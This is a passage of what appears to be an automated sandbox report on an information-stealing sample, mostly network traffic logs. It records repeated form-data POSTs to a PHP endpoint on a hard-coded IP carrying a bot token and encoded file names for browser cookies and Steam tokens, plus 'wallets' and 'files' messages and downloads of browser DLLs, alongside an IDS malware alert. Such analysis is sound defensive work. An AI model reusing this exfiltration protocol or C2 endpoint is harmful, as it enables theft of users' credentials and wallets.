61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KKEBKJJDGHCBGCAAKEHD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHIEBKKFHIEGCAKECGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 2d 2d 0d 0a Data Ascii: ------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file"------AFHIEBKKFHIEGCAKECGH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHCHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 2d 2d 0d 0a Data Ascii: ------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="file"------BFBKFHIDHIIJJKECGHCF--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="message"wallets------EGCBFIEHIEGCAAAKKKKE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAECFHJEBAAFIEBGHIIEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 2d 2d 0d 0a Data Ascii: ------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="message"files------BAECFHJEBAAFIEBGHIIE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 2d 2d 0d 0a Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file"------BFIJKEBFBFHIJJKEHDHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="message"ybncbhylepme------HJDBAFIECGHCBFIDGDAA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJKEBGHJKFIDGCAAFCAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 2d 2d 0d 0a Data Ascii: ------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KJJKEBGHJKFIDGCAAFCA--

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 18.244.18.27 18.244.18.27
Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49722 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49958 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
